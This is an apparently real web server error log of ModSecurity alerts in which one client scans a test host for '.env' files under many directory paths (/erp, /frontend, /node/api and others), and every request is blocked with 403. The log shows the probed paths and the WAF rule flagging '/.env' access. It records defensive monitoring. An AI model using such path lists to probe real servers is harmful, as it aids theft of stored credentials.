[Thu Mar 12 21:45:28.148410 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abMl6E8nGn4wn25ee503GQAAAAU"]
[Thu Mar 12 21:45:28.148611 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abMl6E8nGn4wn25ee503GQAAAAU"]
[Thu Mar 12 21:45:28.359520 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /erp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/erp/.env"] [unique_id "abMl6E8nGn4wn25ee503IgAAAAU"]
[Thu Mar 12 21:45:28.359815 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/erp/.env"] [unique_id "abMl6E8nGn4wn25ee503IgAAAAU"]
[Thu Mar 12 21:45:28.360009 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/erp/.env"] [unique_id "abMl6E8nGn4wn25ee503IgAAAAU"]
[Thu Mar 12 21:45:28.382514 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /fe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/fe/.env"] [unique_id "abMl6E8nGn4wn25ee503IwAAAAU"]
[Thu Mar 12 21:45:28.382797 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/fe/.env"] [unique_id "abMl6E8nGn4wn25ee503IwAAAAU"]
[Thu Mar 12 21:45:28.382992 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/fe/.env"] [unique_id "abMl6E8nGn4wn25ee503IwAAAAU"]
[Thu Mar 12 21:45:28.405424 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /front/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/front/.env"] [unique_id "abMl6E8nGn4wn25ee503JAAAAAU"]
[Thu Mar 12 21:45:28.405712 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/front/.env"] [unique_id "abMl6E8nGn4wn25ee503JAAAAAU"]
[Thu Mar 12 21:45:28.405902 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/front/.env"] [unique_id "abMl6E8nGn4wn25ee503JAAAAAU"]
[Thu Mar 12 21:45:28.428371 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "abMl6E8nGn4wn25ee503JQAAAAU"]
[Thu Mar 12 21:45:28.428648 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "abMl6E8nGn4wn25ee503JQAAAAU"]
[Thu Mar 12 21:45:28.428861 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "abMl6E8nGn4wn25ee503JQAAAAU"]
[Thu Mar 12 21:45:28.544645 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lms/.env"] [unique_id "abMl6E8nGn4wn25ee503KgAAAAU"]
[Thu Mar 12 21:45:28.544855 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lms/.env"] [unique_id "abMl6E8nGn4wn25ee503KgAAAAU"]
[Thu Mar 12 21:45:28.545010 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lms/.env"] [unique_id "abMl6E8nGn4wn25ee503KgAAAAU"]
[Thu Mar 12 21:45:28.567122 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abMl6E8nGn4wn25ee503KwAAAAU"]
[Thu Mar 12 21:45:28.567320 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abMl6E8nGn4wn25ee503KwAAAAU"]
[Thu Mar 12 21:45:28.567470 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abMl6E8nGn4wn25ee503KwAAAAU"]
[Thu Mar 12 21:45:28.612652 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /market/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/market/.env"] [unique_id "abMl6E8nGn4wn25ee503LQAAAAU"]
[Thu Mar 12 21:45:28.612852 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/market/.env"] [unique_id "abMl6E8nGn4wn25ee503LQAAAAU"]
[Thu Mar 12 21:45:28.613029 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/market/.env"] [unique_id "abMl6E8nGn4wn25ee503LQAAAAU"]
[Thu Mar 12 21:45:28.635175 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /marketing/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/marketing/.env"] [unique_id "abMl6E8nGn4wn25ee503LgAAAAU"]
[Thu Mar 12 21:45:28.635370 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/marketing/.env"] [unique_id "abMl6E8nGn4wn25ee503LgAAAAU"]
[Thu Mar 12 21:45:28.635551 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/marketing/.env"] [unique_id "abMl6E8nGn4wn25ee503LgAAAAU"]
[Thu Mar 12 21:45:28.657866 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/.env"] [unique_id "abMl6E8nGn4wn25ee503LwAAAAU"]
[Thu Mar 12 21:45:28.658058 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/.env"] [unique_id "abMl6E8nGn4wn25ee503LwAAAAU"]
[Thu Mar 12 21:45:28.658222 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/.env"] [unique_id "abMl6E8nGn4wn25ee503LwAAAAU"]
[Thu Mar 12 21:45:28.703430 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abMl6E8nGn4wn25ee503MQAAAAU"]
[Thu Mar 12 21:45:28.703635 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abMl6E8nGn4wn25ee503MQAAAAU"]
[Thu Mar 12 21:45:28.703789 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abMl6E8nGn4wn25ee503MQAAAAU"]
[Thu Mar 12 21:45:28.725957 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "abMl6E8nGn4wn25ee503MgAAAAU"]
[Thu Mar 12 21:45:28.726154 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "abMl6E8nGn4wn25ee503MgAAAAU"]
[Thu Mar 12 21:45:28.726326 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "abMl6E8nGn4wn25ee503MgAAAAU"]
[Thu Mar 12 21:45:28.748458 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env"] [unique_id "abMl6E8nGn4wn25ee503MwAAAAU"]
[Thu Mar 12 21:45:28.748655 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env"] [unique_id "abMl6E8nGn4wn25ee503MwAAAAU"]
[Thu Mar 12 21:45:28.748806 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env"] [unique_id "abMl6E8nGn4wn25ee503MwAAAAU"]
[Thu Mar 12 21:45:28.770958 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/api/.env"] [unique_id "abMl6E8nGn4wn25ee503NAAAAAU"]
[Thu Mar 12 21:45:28.771177 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/api/.env"] [unique_id "abMl6E8nGn4wn25ee503NAAAAAU"]
[Thu Mar 12 21:45:28.771342 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/api/.env"] [unique_id "abMl6E8nGn4wn25ee503NAAAAAU"]
